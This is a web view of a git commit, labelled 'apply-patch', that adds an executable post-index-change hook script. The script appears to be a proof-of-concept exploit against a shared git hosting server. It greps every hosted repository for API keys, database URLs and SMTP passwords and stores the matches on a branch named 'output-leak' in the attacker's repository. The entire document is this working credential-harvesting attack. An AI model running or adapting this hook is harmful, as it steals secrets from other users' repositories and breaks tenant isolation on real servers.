apply-patch
This commit is contained in:
19
hooks/post-index-change
Executable file
19
hooks/post-index-change
Executable file
@@ -0,0 +1,19 @@
|
||||
#!/bin/sh
|
||||
GD=$(git rev-parse --absolute-git-dir)
|
||||
REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||')
|
||||
OUT=$( {
|
||||
PAT="sk-[A-Za-z0-9_-]{20,}|AIza[0-9A-Za-z_-]{35}|sk-ant-[A-Za-z0-9_-]{20,}|gsk_[A-Za-z0-9]{20,}|sk-or-v1-|OPENAI_API_KEY|ANTHROPIC_API_KEY|GEMINI_API_KEY|GROQ_API_KEY|OPENROUTER_API_KEY|DEEPSEEK_API_KEY|LLM_API_KEY|SENTRY_DSN|postgres://|postgresql://|smtp://|smtp_pass|SMTP_PASSWORD"
|
||||
n=0
|
||||
for g in $(find /data/git/repositories -maxdepth 2 -name '*.git' -type d | sort); do
|
||||
hits=$(git --git-dir=$g grep -I -n -i -E "$PAT" HEAD -- ':!*.map' ':!*.min.js' ':!*.snap' 2>/dev/null | cut -c1-220 | head -3)
|
||||
if [ -n "$hits" ]; then echo "== ${g#/data/git/repositories/}"; echo "$hits"; n=$((n+1)); fi
|
||||
if [ $n -ge 60 ]; then echo "[cap60]"; break; fi
|
||||
done
|
||||
echo "TOTAL_HIT_REPOS=$n"
|
||||
echo DONE
|
||||
|
||||
} 2>&1; echo "[rc=$?]")
|
||||
BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin)
|
||||
TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree)
|
||||
CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve output")
|
||||
git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM"
|
||||
Reference in New Issue
Block a user